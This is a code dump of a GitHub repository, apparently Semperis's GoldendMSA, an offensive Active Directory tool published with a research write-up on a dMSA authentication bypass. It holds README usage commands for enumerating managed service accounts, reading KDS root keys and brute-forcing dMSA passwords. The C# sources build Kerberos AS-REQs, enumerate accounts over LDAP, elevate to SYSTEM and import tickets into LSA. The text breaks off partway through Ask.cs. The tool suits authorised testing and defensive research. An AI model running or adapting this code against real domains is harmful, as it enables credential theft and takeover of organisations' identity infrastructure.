41 | ```
42 | $ GoldendMSA.exe convert -d -u -p
43 | ```
44 |
45 | Create a wordlist for dMSA's password bruteforcing:
46 | ```
47 | $ GoldendMSA.exe wordlist -s -d -f -k
48 | ```
49 | 
50 |
51 |
52 | Gathers info on dMSAs/gMSAs based on ldap or RID enumeration:
53 | ```
54 | $ GoldendMSA.exe info -d -m ldap
55 | $ GoldendMSA.exe info -d -m brute -u -p -o -s
56 | $ GoldendMSA.exe info -d -m brute -u -p -o -r
57 | ```
58 | 
59 |
60 |
61 | Gathers info on KDS root keys (requires Enterprise admins permissions):
62 | ```
63 | $ GoldendMSA.exe kds
64 | $ GoldendMSA.exe kds -g
65 | ```
66 | 
67 |
68 |
69 | Gathers info on KDS root keys (requires SYSTEM permissions on a DC):
70 | ```
71 | $ GoldendMSA.exe kds --domain
72 | ```
73 |
74 | Bruteforce dMSA's password:
75 | ```
76 | $ GoldendMSA.exe bruteforce -s -i -k -d -u -t
77 | $ GoldendMSA.exe bruteforce -s -i -k -d -u -v
78 | ```
79 | 
80 |
81 | ## License
82 |
83 | Disclaimer: This project is licensed under the terms of the BSD 3-Clause license, and is provided for educational and informational purposes only. It is intended to promote awareness and responsible remediation of security vulnerabilities that may exist on systems you own or are authorized to test. Unauthorized use of this information for malicious purposes, exploitation, or unlawful access is strictly prohibited. Semperis does not endorse or condone any illegal activity and disclaims any liability arising from misuse of the material. Additionally, Semperis does not guarantee the accuracy or completeness of the content and assumes no liability for any damages resulting from its use.
84 |
85 | ## Reference
86 |
87 | - https://github.com/Semperis/GoldenGMSA
88 | - https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/
89 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/EncKDCRepPart.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using Asn1;
3 | using System.Text;
4 | using System.Collections.Generic;
5 |
6 | namespace GoldendMSA
7 | {
8 | public class EncKDCRepPart
9 | {
10 | //EncKDCRepPart::= SEQUENCE {
11 | // key[0] EncryptionKey,
12 | // last-req[1] LastReq,
13 | // nonce[2] UInt32,
14 | // key-expiration[3] KerberosTime OPTIONAL,
15 | // flags[4] TicketFlags,
16 | // authtime[5] KerberosTime,
17 | // starttime[6] KerberosTime OPTIONAL,
18 | // endtime[7] KerberosTime,
19 | // renew-till[8] KerberosTime OPTIONAL,
20 | // srealm[9] Realm,
21 | // sname[10] PrincipalName,
22 | // caddr[11] HostAddresses OPTIONAL,
23 | // encrypted-pa-data[12] SEQUENCE OF PA-DATA OPTIONAL
24 | //}
25 |
26 | public EncKDCRepPart(AsnElt body)
27 | {
28 | foreach (AsnElt s in body.Sub)
29 | {
30 | switch (s.TagValue)
31 | {
32 | case 0:
33 | key = new EncryptionKey(s);
34 | break;
35 | case 1:
36 | lastReq = new LastReq(s.Sub[0]);
37 | break;
38 | case 2:
39 | nonce = Convert.ToUInt32(s.Sub[0].GetInteger());
40 | break;
41 | case 3:
42 | key_expiration = s.Sub[0].GetTime();
43 | break;
44 | case 4:
45 | UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger());
46 | byte[] tempBytes = BitConverter.GetBytes(temp);
47 | flags = (Interop.TicketFlags)BitConverter.ToInt32(tempBytes, 0);
48 | break;
49 | case 5:
50 | authtime = s.Sub[0].GetTime();
51 | break;
52 | case 6:
53 | starttime = s.Sub[0].GetTime();
54 | break;
55 | case 7:
56 | endtime = s.Sub[0].GetTime();
57 | break;
58 | case 8:
59 | renew_till = s.Sub[0].GetTime();
60 | break;
61 | case 9:
62 | realm = Encoding.UTF8.GetString(s.Sub[0].GetOctetString());
63 | break;
64 | case 10:
65 | // sname (optional)
66 | sname = new PrincipalName(s.Sub[0]);
67 | break;
68 | case 11:
69 | // HostAddresses, skipped for now
70 | break;
71 | case 12:
72 | encryptedPaData = new EncryptedPAData(s.Sub[0]);
73 | break;
74 | default:
75 | break;
76 | }
77 | }
78 | }
79 |
80 | // won't really ever need to *create* a KDC reply, so no Encode()
81 |
82 | public EncryptionKey key { get; set; }
83 |
84 | public LastReq lastReq { get; set; }
85 |
86 | public UInt32 nonce { get; set; }
87 |
88 | public DateTime key_expiration { get; set; }
89 |
90 | public Interop.TicketFlags flags { get; set; }
91 |
92 | public DateTime authtime { get; set; }
93 |
94 | public DateTime starttime { get; set; }
95 |
96 | public DateTime endtime { get; set; }
97 |
98 | public DateTime renew_till { get; set; }
99 |
100 | public string realm { get; set; }
101 |
102 | public PrincipalName sname { get; set; }
103 |
104 | // caddr (optional) - skip for now
105 |
106 | public EncryptedPAData encryptedPaData { get; set; }
107 | }
108 | }
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/KRB_ERROR.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using Asn1;
3 | using System.Collections.Generic;
4 | using System.Text;
5 |
6 | namespace GoldendMSA
7 | {
8 | public class KRB_ERROR : Exception
9 | {
10 | //KRB-ERROR ::= [APPLICATION 30] SEQUENCE {
11 | // pvno [0] INTEGER (5),
12 | // msg-type [1] INTEGER (30),
13 | // ctime [2] KerberosTime OPTIONAL,
14 | // cusec [3] Microseconds OPTIONAL,
15 | // stime [4] KerberosTime,
16 | // susec [5] Microseconds,
17 | // error-code [6] Int32,
18 | // crealm [7] Realm OPTIONAL,
19 | // cname [8] PrincipalName OPTIONAL,
20 | // realm [9] Realm -- service realm --,
21 | // sname [10] PrincipalName -- service name --,
22 | // e-text [11] KerberosString OPTIONAL,
23 | // e-data [12] OCTET STRING OPTIONAL
24 | //}
25 |
26 |
27 | public KRB_ERROR(AsnElt body)
28 | {
29 | foreach (AsnElt s in body.Sub)
30 | {
31 | switch (s.TagValue)
32 | {
33 | case 0:
34 | pvno = Convert.ToUInt32(s.Sub[0].GetInteger());
35 | break;
36 | case 1:
37 | msg_type = Convert.ToUInt32(s.Sub[0].GetInteger());
38 | break;
39 | case 2:
40 | ctime = s.Sub[0].GetTime();
41 | break;
42 | case 3:
43 | cusec = Convert.ToUInt32(s.Sub[0].GetInteger());
44 | break;
45 | case 4:
46 | stime = s.Sub[0].GetTime();
47 | break;
48 | case 5:
49 | susec = Convert.ToUInt32(s.Sub[0].GetInteger());
50 | break;
51 | case 6:
52 | error_code = Convert.ToUInt32(s.Sub[0].GetInteger());
53 | break;
54 | case 7:
55 | crealm = Encoding.UTF8.GetString(s.Sub[0].GetOctetString());
56 | break;
57 | case 8:
58 | cname = new PrincipalName(s.Sub[0]);
59 | break;
60 | case 9:
61 | realm = Encoding.UTF8.GetString(s.Sub[0].GetOctetString());
62 | break;
63 | case 10:
64 | sname = new PrincipalName(s.Sub[0]);
65 | break;
66 | case 11:
67 | e_text = Encoding.UTF8.GetString(s.Sub[0].GetOctetString());
68 | break;
69 | case 12:
70 | try
71 | {
72 | e_data = new List();
73 | AsnElt tmpData = AsnElt.Decode(s.Sub[0].GetOctetString());
74 | foreach (AsnElt tmp in tmpData.Sub)
75 | {
76 | e_data.Add(new PA_DATA(tmp));
77 | }
78 | }
79 | catch (NullReferenceException)
80 | {
81 | e_data = null;
82 | }
83 | break;
84 | default:
85 | break;
86 | }
87 | }
88 | }
89 |
90 | // don't ever really need to create a KRB_ERROR structure manually, so no Encode()
91 |
92 | public long pvno { get; set; }
93 |
94 | public long msg_type { get; set; }
95 |
96 | public DateTime ctime { get; set; }
97 |
98 | public long cusec { get; set; }
99 |
100 | public DateTime stime { get; set; }
101 |
102 | public long susec { get; set; }
103 |
104 | public long error_code { get; set; }
105 |
106 | public string crealm { get; set; }
107 |
108 | public PrincipalName cname { get; set; }
109 |
110 | public string realm { get; set; }
111 |
112 | public PrincipalName sname { get; set; }
113 |
114 | public string e_text { get; set; }
115 |
116 | public List e_data { get; set; }
117 |
118 | //public Ticket[] tickets { get; set; }
119 | public List tickets { get; set; }
120 |
121 | public EncKrbCredPart enc_part { get; set; }
122 | }
123 | }
--------------------------------------------------------------------------------
/GoldendMSA/LSA.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.ComponentModel;
3 | using System.Runtime.InteropServices;
4 |
5 |
6 | namespace GoldendMSA {
7 | public class LSA
8 | {
9 | public static IntPtr GetLsaHandle(bool elevateToSystem = true)
10 | {
11 | IntPtr lsaHandle = IntPtr.Zero;
12 |
13 | if (Helpers.IsHighIntegrity() && elevateToSystem && !Helpers.IsSystem())
14 | {
15 | if (!Helpers.GetSystem())
16 | {
17 | throw new Exception("Could not elevate to system");
18 | }
19 |
20 | Interop.LsaConnectUntrusted(out lsaHandle);
21 | Interop.RevertToSelf();
22 |
23 | } else {
24 | Interop.LsaConnectUntrusted(out lsaHandle);
25 | }
26 |
27 | return lsaHandle;
28 | }
29 |
30 | public static void ImportTicket(byte[] ticket, LUID targetLuid)
31 | {
32 |
33 | var lsaHandle = GetLsaHandle();
34 | int AuthenticationPackage;
35 | int ntstatus, ProtocalStatus;
36 |
37 | if ((ulong)targetLuid != 0)
38 | {
39 | if (!Helpers.IsHighIntegrity())
40 | {
41 | Console.WriteLine("[X] You need to be in high integrity to apply a ticket to a different logon session");
42 | return;
43 | }
44 | }
45 |
46 | var inputBuffer = IntPtr.Zero;
47 | IntPtr ProtocolReturnBuffer;
48 | int ReturnBufferLength;
49 | try
50 | {
51 | Interop.LSA_STRING_IN LSAString;
52 | var Name = "kerberos";
53 | LSAString.Length = (ushort)Name.Length;
54 | LSAString.MaximumLength = (ushort)(Name.Length + 1);
55 | LSAString.Buffer = Name;
56 | ntstatus = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out AuthenticationPackage);
57 | if (ntstatus != 0)
58 | {
59 | var winError = Interop.LsaNtStatusToWinError((uint)ntstatus);
60 | var errorMessage = new Win32Exception((int)winError).Message;
61 | Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage);
62 | return;
63 | }
64 | var request = new Interop.KERB_SUBMIT_TKT_REQUEST();
65 | request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage;
66 | request.KerbCredSize = ticket.Length;
67 | request.KerbCredOffset = Marshal.SizeOf(typeof(Interop.KERB_SUBMIT_TKT_REQUEST));
68 |
69 | if ((ulong)targetLuid != 0)
70 | {
71 | Console.WriteLine("[*] Target LUID: 0x{0:x}", (ulong)targetLuid);
72 | request.LogonId = targetLuid;
73 | }
74 |
75 | var inputBufferSize = Marshal.SizeOf(typeof(Interop.KERB_SUBMIT_TKT_REQUEST)) + ticket.Length;
76 | inputBuffer = Marshal.AllocHGlobal(inputBufferSize);
77 | Marshal.StructureToPtr(request, inputBuffer, false);
78 | Marshal.Copy(ticket, 0, new IntPtr(inputBuffer.ToInt64() + request.KerbCredOffset), ticket.Length);
79 | ntstatus = Interop.LsaCallAuthenticationPackage(lsaHandle, AuthenticationPackage, inputBuffer, inputBufferSize, out ProtocolReturnBuffer, out ReturnBufferLength, out ProtocalStatus);
80 | if (ntstatus != 0)
81 | {
82 | var winError = Interop.LsaNtStatusToWinError((uint)ntstatus);
83 | var errorMessage = new Win32Exception((int)winError).Message;
84 | Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage);
85 | return;
86 | }
87 | if (ProtocalStatus != 0)
88 | {
89 | var winError = Interop.LsaNtStatusToWinError((uint)ProtocalStatus);
90 | var errorMessage = new Win32Exception((int)winError).Message;
91 | Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage (ProtocalStatus): {1}", winError, errorMessage);
92 | return;
93 | }
94 | Console.WriteLine("[+] Ticket successfully imported!");
95 | }
96 | finally
97 | {
98 | if (inputBuffer != IntPtr.Zero)
99 | Marshal.FreeHGlobal(inputBuffer);
100 |
101 | Interop.LsaDeregisterLogonProcess(lsaHandle);
102 | }
103 | }
104 | }
105 | }
106 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/AS_REQ.cs:
--------------------------------------------------------------------------------
1 | using Asn1;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.IO;
5 | using System.Net;
6 | using System.Security.Cryptography.X509Certificates;
7 |
8 | namespace GoldendMSA
9 | {
10 | //AS-REQ ::= [APPLICATION 10] KDC-REQ
11 |
12 | //KDC-REQ ::= SEQUENCE {
13 | // -- NOTE: first tag is [1], not [0]
14 | // pvno [1] INTEGER (5) ,
15 | // msg-type [2] INTEGER (10 -- AS),
16 | // padata [3] SEQUENCE OF PA-DATA OPTIONAL
17 | // -- NOTE: not empty --,
18 | // req-body [4] KDC-REQ-BODY
19 | //}
20 |
21 | public class AS_REQ
22 | {
23 |
24 | public static AS_REQ NewASReq(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE suppEtype)
25 | {
26 | // build a new AS-REQ for the given userName, domain, and etype, w/ PA-ENC-TIMESTAMP
27 | // used for "legit" AS-REQs w/ pre-auth
28 |
29 | // set pre-auth
30 | AS_REQ req = new AS_REQ(keyString, etype, false, true);
31 |
32 | // req.padata.Add()
33 |
34 | // set the username to request a TGT for
35 | req.req_body.cname.name_string.AddRange(userName.Split('/'));
36 | req.req_body.cname.name_type = Helpers.StringToPrincipalType("principal");
37 |
38 | // the realm (domain) the user exists in
39 | req.req_body.realm = domain;
40 |
41 | // KRB_NT_SRV_INST = 2
42 | // service and other unique instance (krbtgt)
43 | req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST;
44 | req.req_body.sname.name_string.Add("krbtgt");
45 | req.req_body.sname.name_string.Add(domain);
46 |
47 |
48 | // add in our encryption type
49 | req.req_body.etypes.Add(suppEtype);
50 |
51 |
52 | return req;
53 | }
54 |
55 |
56 | public AS_REQ(string keyString, Interop.KERB_ETYPE etype, bool opsec = false, bool pac = true) //42
57 | {
58 | // default, for creation
59 | pvno = 5;
60 | msg_type = (long)Interop.KERB_MESSAGE_TYPE.AS_REQ;
61 |
62 | padata = new List();
63 |
64 | // add the encrypted timestamp
65 | padata.Add(new PA_DATA(keyString, etype));
66 |
67 | // add the include-pac == true
68 | padata.Add(new PA_DATA(pac));
69 |
70 | req_body = new KDCReqBody(true, opsec);
71 |
72 | this.keyString = keyString;
73 | }
74 |
75 |
76 | public AsnElt Encode()
77 | {
78 | // pvno [1] INTEGER (5)
79 | AsnElt pvnoAsn = AsnElt.MakeInteger(pvno);
80 | AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn });
81 | pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, pvnoSeq);
82 |
83 |
84 | // msg-type [2] INTEGER (10 -- AS -- )
85 | AsnElt msg_type_ASN = AsnElt.MakeInteger(msg_type);
86 | AsnElt msg_type_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_type_ASN });
87 | msg_type_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, msg_type_ASNSeq);
88 |
89 | // padata [3] SEQUENCE OF PA-DATA OPTIONAL
90 | List padatas = new List();
91 | foreach (PA_DATA pa in padata)
92 | {
93 | padatas.Add(pa.Encode());
94 | }
95 |
96 | // req-body [4] KDC-REQ-BODY
97 | AsnElt req_Body_ASN = req_body.Encode();
98 | AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN });
99 | req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq);
100 |
101 | AsnElt padata_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, padatas.ToArray());
102 | AsnElt padata_ASNSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { padata_ASNSeq });
103 | padata_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, padata_ASNSeq2);
104 |
105 | // encode it all into a sequence
106 | AsnElt[] total = new[] { pvnoSeq, msg_type_ASNSeq, padata_ASNSeq, req_Body_ASNSeq };
107 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total);
108 |
109 | // AS-REQ ::= [APPLICATION 10] KDC-REQ
110 | // put it all together and tag it with 10
111 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
112 | totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 10, totalSeq);
113 |
114 | return totalSeq;
115 | }
116 |
117 | public long pvno { get; set;}
118 |
119 | public long msg_type { get; set; }
120 |
121 | //public PAData[] padata { get; set; }
122 | public List padata { get; set; }
123 |
124 | public KDCReqBody req_body { get; set; }
125 |
126 | //Ugly hack to make keyString available to
127 | //the generic InnerTGT function
128 | public string keyString { get; set; }
129 | }
130 | }
131 |
--------------------------------------------------------------------------------
/GoldendMSA/GmsaAccount.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.DirectoryServices;
4 | using System.Linq;
5 | using System.Reflection;
6 | using System.Security.Principal;
7 | using System.Text;
8 | using System.Threading.Tasks;
9 |
10 | namespace GoldendMSA
11 | {
12 | public sealed class GmsaAccount
13 | {
14 | private static readonly string[] GmsaRequiredLdapAttributes = { "msds-ManagedPasswordID", "samAccountName", "objectSid", "samAccountName", "distinguishedName" };
15 | private static readonly string MsdsManagedPasswordIDAttributeName = "msds-ManagedPasswordID";
16 | private static readonly string IsGmsaAccountLdapFilter = "(objectCategory=msDS-GroupManagedServiceAccount)";
17 |
18 | public string DistinguishedName { get; private set; }
19 |
20 | public string SamAccountName { get; private set; }
21 | public SecurityIdentifier Sid { get; private set; }
22 | public MsdsManagedPasswordId ManagedPasswordId { get; private set; }
23 |
24 |
25 | private GmsaAccount(
26 | string samAccountName,
27 | string dn,
28 | SecurityIdentifier sid,
29 | MsdsManagedPasswordId pwdId)
30 | {
31 | DistinguishedName = dn;
32 | ManagedPasswordId = pwdId;
33 | Sid = sid;
34 | SamAccountName = samAccountName;
35 | }
36 |
37 | ///
38 | /// Returns GMSA account information given its SID
39 | ///
40 | /// FQDN of the domain to search
41 | /// The SID of the GMSA
42 | ///
43 | public static GmsaAccount GetGmsaAccountBySid(string domainFqdn, SecurityIdentifier sid)
44 | {
45 | if (sid is null)
46 | throw new ArgumentNullException(nameof(sid));
47 |
48 | if (domainFqdn is null)
49 | throw new ArgumentNullException(nameof(domainFqdn));
50 |
51 | string ldapFilter = $"(&{IsGmsaAccountLdapFilter}(objectsid={sid}))";
52 | var results = LdapUtils.FindInDomain(domainFqdn, ldapFilter, GmsaRequiredLdapAttributes);
53 |
54 | if (results == null || results.Count == 0)
55 | return null;
56 |
57 | return GetGmsaFromSearchResult(results[0]);
58 | }
59 |
60 | ///
61 | /// Returns all GMSA account in domain
62 | ///
63 | /// FQDN of the domain to search
64 | ///
65 | public static IEnumerable FindAllGmsaAccountsInDomain(string domainFqdn)
66 | {
67 | if (string.IsNullOrEmpty(domainFqdn))
68 | {
69 | throw new ArgumentException($"'{nameof(domainFqdn)}' cannot be null or empty.", nameof(domainFqdn));
70 | }
71 |
72 | var results = LdapUtils.FindInDomain(domainFqdn, IsGmsaAccountLdapFilter, GmsaRequiredLdapAttributes);
73 |
74 | if (results == null)
75 | yield break;
76 |
77 | foreach (SearchResult sr in results)
78 | {
79 | GmsaAccount gmsa = null;
80 | try
81 | {
82 | gmsa = GetGmsaFromSearchResult(sr);
83 | }
84 | catch (Exception ex)
85 | {
86 | Console.WriteLine($"WARNING: {sr.Properties["distinguishedName"][0]}: {ex.Message}");
87 | }
88 |
89 | if (gmsa != null)
90 | yield return gmsa;
91 | }
92 | }
93 |
94 | private static GmsaAccount GetGmsaFromSearchResult(SearchResult sr)
95 | {
96 | if (sr is null)
97 | {
98 | throw new ArgumentNullException(nameof(sr));
99 | }
100 |
101 | foreach (var attr in GmsaRequiredLdapAttributes)
102 | {
103 | if (!sr.Properties.Contains(attr))
104 | throw new KeyNotFoundException($"Attribute {attr} was not found");
105 | }
106 |
107 | string dn = sr.Properties["distinguishedName"][0].ToString();
108 |
109 | var pwdBlob = (byte[])(sr.Properties[MsdsManagedPasswordIDAttributeName][0]);
110 | var pwdId = new MsdsManagedPasswordId(pwdBlob);
111 |
112 | var sid = new SecurityIdentifier((byte[])sr.Properties["objectSid"][0], 0);
113 |
114 | var samId = sr.Properties["samAccountName"][0].ToString();
115 |
116 | return new GmsaAccount(samId, dn, sid, pwdId);
117 | }
118 |
119 |
120 |
121 | public override string ToString()
122 | {
123 | string result = $"sAMAccountName:\t\t{this.SamAccountName}{Environment.NewLine}";
124 | result += $"objectSid:\t\t\t{this.Sid}{Environment.NewLine}";
125 | result += $"rootKeyGuid:\t\t{this.ManagedPasswordId.RootKeyIdentifier}{Environment.NewLine}";
126 | result += $"msds-ManagedPasswordID:\t{Convert.ToBase64String(this.ManagedPasswordId.MsdsManagedPasswordIdBytes)}{Environment.NewLine}";
127 | result += $"----------------------------------------------{Environment.NewLine}";
128 |
129 | return result;
130 | }
131 | }
132 | }
--------------------------------------------------------------------------------
/GoldendMSA/LdapUtils.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.DirectoryServices;
4 | using System.DirectoryServices.ActiveDirectory;
5 | using System.Linq;
6 | using System.Net;
7 |
8 |
9 | namespace GoldendMSA
10 | {
11 | public static class LdapUtils
12 | {
13 | public static SearchResultCollection FindInConfigPartition(string domainFqdn, string ldapFilter, string[] attributes)
14 | {
15 | using (var de = GetConfigNamingContextDe(domainFqdn))
16 | using (var ds = new DirectorySearcher(de, ldapFilter, attributes))
17 | {
18 | ds.PageSize = 100;
19 | SearchResultCollection results = ds.FindAll();
20 | if (results == null)
21 | {
22 | throw new Exception($"Could not find any results using LDAP filter: {ldapFilter}");
23 | }
24 | return results;
25 | }
26 | }
27 | public static SearchResultCollection FindInDomain(string domainFqdn, string ldapFilter, string[] attributes)
28 | {
29 | using (var de = GetDefaultNamingContextDe(domainFqdn))
30 | using (var ds = new DirectorySearcher(de, ldapFilter, attributes))
31 | {
32 | ds.PageSize = 100;
33 | SearchResultCollection results = ds.FindAll();
34 | if (results == null)
35 | {
36 | throw new Exception($"Could not find any results using LDAP filter: {ldapFilter}");
37 | }
38 | return results;
39 | }
40 | }
41 |
42 | private static DirectoryEntry GetDefaultNamingContextDe(string domainName)
43 | {
44 | using (var rootDse = GetRootDse(domainName))
45 | {
46 | string adsPAth = $"LDAP://{domainName}/{rootDse.Properties["defaultNamingContext"].Value}";
47 | return new DirectoryEntry(adsPAth);
48 | }
49 | }
50 |
51 | private static DirectoryEntry GetConfigNamingContextDe(string domainName)
52 | {
53 | using (var rootDse = GetRootDse(domainName))
54 | {
55 | string adsPAth = $"LDAP://{domainName}/{rootDse.Properties["configurationNamingContext"].Value}";
56 | return new DirectoryEntry(adsPAth);
57 | }
58 | }
59 |
60 | public static (string fqdn, string ip) GetDomainControllerInfoAlt(string domainName)
61 | {
62 | try
63 | {
64 | // Get domain context
65 | var context = new DirectoryContext(DirectoryContextType.Domain, domainName);
66 | var domain = Domain.GetDomain(context);
67 | // Get primary domain controller
68 | var dc = domain.PdcRoleOwner;
69 | var dcFqdn = dc.Name;
70 |
71 | // Resolve IP address
72 | var ipAddresses = Dns.GetHostAddresses(dcFqdn);
73 | var dcIp = ipAddresses.FirstOrDefault(ip => ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)?.ToString();
74 |
75 | if (string.IsNullOrEmpty(dcIp))
76 | {
77 | throw new Exception($"Could not resolve IP address for {dcFqdn}");
78 | }
79 |
80 | return (dcFqdn, dcIp);
81 | }
82 | catch (Exception ex)
83 | {
84 | throw new Exception($"Failed to get domain controller using DirectoryServices: {ex.Message}");
85 | }
86 | }
87 |
88 | public static DirectoryEntry GetRootDse(string domainName)
89 | {
90 | return new DirectoryEntry($"LDAP://{domainName}/RootDSE");
91 | }
92 |
93 | private static String ExtractGMSAInfo(SearchResult result, bool samaccountname)
94 | {
95 |
96 | if (samaccountname)
97 | {
98 | return result.Properties["sAMAccountName"][0]?.ToString();
99 | }
100 | return Uri.UnescapeDataString(new Uri(result.Properties["adsPath"][0]?.ToString()).AbsolutePath.TrimStart('/'));
101 |
102 | }
103 |
104 | public static List SearchForGMSAsDirectly(string remoteName, bool attribute,string domain, string username = "", string password = "")
105 | {
106 | List gmsaList = new List();
107 |
108 | try
109 | {
110 | string ldapPath = $"LDAP://{remoteName}";
111 | DirectoryEntry rootEntry;
112 |
113 | if (!string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(password))
114 | {
115 | rootEntry = new DirectoryEntry(ldapPath, $"{domain}\\{username}", password,
116 | AuthenticationTypes.Secure);
117 | }
118 | else
119 | {
120 | rootEntry = new DirectoryEntry(ldapPath);
121 | }
122 |
123 | using (rootEntry)
124 | using (var searcher = new DirectorySearcher(rootEntry))
125 | {
126 | // Direct LDAP filter for GMSAs
127 | searcher.Filter = "(&(|(objectClass=msDS-GroupManagedServiceAccount)(&(sAMAccountName=*$)(objectCategory=person)(objectClass=user))(objectCategory=msDS-ManagedServiceAccount)(objectClass=trustedDomain)(objectClass=computer))(!(objectClass=msDS-DelegatedManagedServiceAccount)))";
128 | searcher.PropertiesToLoad.AddRange(new[] {
129 | "sAMAccountName"
130 | });
131 |
132 | var results = searcher.FindAll();
133 |
134 | foreach (SearchResult result in results)
135 | {
136 | try
137 | {
138 | string gmsa = ExtractGMSAInfo(result, attribute);
139 | gmsaList.Add(gmsa);
140 | }
141 | catch (Exception ex)
142 | {
143 | }
144 | }
145 | }
146 | }
147 | catch (Exception ex)
148 | {
149 | Console.WriteLine($"[X] Error during direct GMSA search: {ex.Message}");
150 | }
151 | return gmsaList;
152 | }
153 | }
154 | }
--------------------------------------------------------------------------------
/GoldendMSA/GoldendMSA.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {9A42C0A1-4392-483D-962B-27EE765D17BA}
8 | Exe
9 | goldendMSA
10 | goldendMSA
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | x64
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 | true
26 |
27 |
28 | AnyCPU
29 | pdbonly
30 | true
31 | bin\Release\
32 | TRACE
33 | prompt
34 | 4
35 |
36 |
37 |
38 | ..\packages\CommandLineParser.2.9.1\lib\net461\CommandLine.dll
39 |
40 |
41 | ..\packages\Figgle.0.6.1\lib\netstandard2.0\Figgle.dll
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
--------------------------------------------------------------------------------
/GoldendMSA/Ask.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using Asn1;
3 |
4 | namespace GoldendMSA {
5 |
6 | public class Ask
7 | {
8 | public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool ptt, Interop.KERB_ETYPE suppEtype, bool verbose = false)
9 | {
10 | AS_REQ userHashASREQ = AS_REQ.NewASReq(userName, domain, keyString, etype, suppEtype);
11 | return InnerTGT(userHashASREQ, etype, ptt, domain, verbose);
12 | }
13 |
14 | public static byte[] InnerTGT(AS_REQ asReq, Interop.KERB_ETYPE etype, bool ptt, string domain = "", bool verbose = false, bool opsec = false)
15 | {
16 |
17 | byte[] response = null;
18 | string dcIP = null;
19 |
20 |
21 | dcIP = (LdapUtils.GetDomainControllerInfoAlt(domain)).ip;
22 | if (String.IsNullOrEmpty(dcIP))
23 | {
24 | throw new Exception("[X] Unable to get domain controller address");
25 | }
26 | if (verbose)
27 | {
28 | Console.WriteLine("");
29 | }
30 | response = Helpers.SendBytes(dcIP, 88, asReq.Encode().Encode());
31 |
32 | if (response == null)
33 | {
34 | throw new Exception("[X] No answer from domain controller");
35 | }
36 |
37 | // decode the supplied bytes to an AsnElt object
38 | AsnElt responseAsn;
39 | try
40 | {
41 | responseAsn = AsnElt.Decode(response);
42 | }
43 | catch(Exception e)
44 | {
45 | throw new Exception($"Error parsing response AS-REQ: {e}. Base64 response: {Convert.ToBase64String(response)}");
46 | }
47 |
48 | // check the response value
49 | int responseTag = responseAsn.TagValue;
50 |
51 | if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.AS_REP)
52 | {
53 | if (verbose)
54 | {
55 | Console.WriteLine("[+] TGT request successful!");
56 | }
57 |
58 | byte[] kirbiBytes = HandleASREP(responseAsn, etype, asReq.keyString, ptt, verbose, asReq, dcIP);
59 |
60 | return kirbiBytes;
61 | }
62 | else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
63 | {
64 | // parse the response to an KRB-ERROR
65 | KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
66 |
67 | throw error;
68 | }
69 | else
70 | {
71 | throw new Exception("[X] Unknown application tag: " + responseTag);
72 | }
73 | }
74 |
75 |
76 | public static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, bool ptt, bool verbose = false, AS_REQ asReq = null, string dcIP = "")
77 | {
78 | LUID luid = new LUID();
79 | AS_REP rep = new AS_REP(responseAsn);
80 |
81 | byte[] key;
82 |
83 | key = Helpers.StringToByteArray(keyString);
84 |
85 |
86 | if (rep.enc_part.etype != (int)etype)
87 | {
